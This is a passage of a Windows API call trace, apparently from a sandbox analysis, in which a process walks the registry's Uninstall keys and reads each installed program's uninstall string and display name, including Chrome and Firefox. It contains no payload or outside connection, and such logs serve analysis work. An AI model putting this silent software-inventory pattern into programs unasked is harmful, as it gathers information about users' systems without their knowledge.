lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.178] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.178] lstrlenA (lpString="Fontcore") returned 8 [0047.178] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x73cc70 [0047.178] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.178] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Fontcore" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore" [0047.178] LocalFree (hMem=0x721848) returned 0x0 [0047.178] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.178] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.178] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.178] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.178] RegCloseKey (hKey=0x380) returned 0x0 [0047.179] LocalFree (hMem=0x73cc70) returned 0x0 [0047.179] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x5, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Google Chrome", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.179] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.179] lstrlenA (lpString="\\") returned 1 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.179] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.179] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.179] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.179] lstrlenA (lpString="Google Chrome") returned 13 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x745b68 [0047.179] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.179] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Google Chrome" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome" [0047.179] LocalFree (hMem=0x721848) returned 0x0 [0047.179] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.179] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x82) returned 0x0 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x72f5b0 [0047.179] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x82 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x82) returned 0x0 [0047.179] RegCloseKey (hKey=0x380) returned 0x0 [0047.179] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.179] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.179] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0xe) returned 0x0 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x716ef8 [0047.179] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0xe | out: lpType=0x0, lpData=0x716ef8*=0x47, lpcbData=0xeed90*=0xe) returned 0x0 [0047.179] RegCloseKey (hKey=0x380) returned 0x0 [0047.179] lstrlenA (lpString="Google Chrome") returned 13 [0047.179] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.179] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.179] LocalFree (hMem=0x716ef8) returned 0x0 [0047.179] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.179] LocalFree (hMem=0x745b68) returned 0x0 [0047.179] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x6, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.179] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.179] lstrlenA (lpString="\\") returned 1 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.179] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.179] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.179] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.179] lstrlenA (lpString="IE40") returned 4 [0047.179] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x73cc70 [0047.179] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.179] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE40" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40" [0047.180] LocalFree (hMem=0x721848) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.180] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.180] RegCloseKey (hKey=0x380) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.180] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.180] RegCloseKey (hKey=0x380) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.180] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.180] RegCloseKey (hKey=0x380) returned 0x0 [0047.180] LocalFree (hMem=0x73cc70) returned 0x0 [0047.180] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x7, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.180] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.180] lstrlenA (lpString="\\") returned 1 [0047.180] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.180] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.180] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.180] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.180] lstrlenA (lpString="IE4Data") returned 7 [0047.180] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x73cc70 [0047.180] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.180] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE4Data" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data" [0047.180] LocalFree (hMem=0x721848) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.180] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.180] RegCloseKey (hKey=0x380) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.180] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.180] RegCloseKey (hKey=0x380) returned 0x0 [0047.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.181] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.181] RegCloseKey (hKey=0x380) returned 0x0 [0047.181] LocalFree (hMem=0x73cc70) returned 0x0 [0047.181] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x8, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.181] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.181] lstrlenA (lpString="\\") returned 1 [0047.181] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.181] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.181] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.181] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.181] lstrlenA (lpString="IE5BAKEX") returned 8 [0047.181] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x73cc70 [0047.181] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.181] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IE5BAKEX" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX" [0047.181] LocalFree (hMem=0x721848) returned 0x0 [0047.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.181] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.181] RegCloseKey (hKey=0x380) returned 0x0 [0047.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.181] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.181] RegCloseKey (hKey=0x380) returned 0x0 [0047.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.181] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.181] RegCloseKey (hKey=0x380) returned 0x0 [0047.181] LocalFree (hMem=0x73cc70) returned 0x0 [0047.181] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x9, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.181] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.181] lstrlenA (lpString="\\") returned 1 [0047.181] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.181] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.181] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.181] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.181] lstrlenA (lpString="IEData") returned 6 [0047.181] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x73cc70 [0047.181] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.181] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IEData" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData" [0047.181] LocalFree (hMem=0x721848) returned 0x0 [0047.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.181] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.182] RegCloseKey (hKey=0x380) returned 0x0 [0047.182] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.182] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.182] RegCloseKey (hKey=0x380) returned 0x0 [0047.182] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.182] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.182] RegCloseKey (hKey=0x380) returned 0x0 [0047.182] LocalFree (hMem=0x73cc70) returned 0x0 [0047.182] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xa, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.182] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.182] lstrlenA (lpString="\\") returned 1 [0047.182] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.182] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.182] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.182] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.182] lstrlenA (lpString="MobileOptionPack") returned 16 [0047.182] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0047.182] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.182] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="MobileOptionPack" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack" [0047.182] LocalFree (hMem=0x721848) returned 0x0 [0047.182] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.182] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.182] RegCloseKey (hKey=0x380) returned 0x0 [0047.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.183] RegCloseKey (hKey=0x380) returned 0x0 [0047.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.183] RegCloseKey (hKey=0x380) returned 0x0 [0047.183] LocalFree (hMem=0x745b68) returned 0x0 [0047.183] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xb, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0 (x86 en-US)", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.183] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.183] lstrlenA (lpString="\\") returned 1 [0047.183] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.183] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.183] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.183] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.183] lstrlenA (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0047.183] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x745b68 [0047.183] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.183] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Mozilla Firefox 25.0 (x86 en-US)" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)") 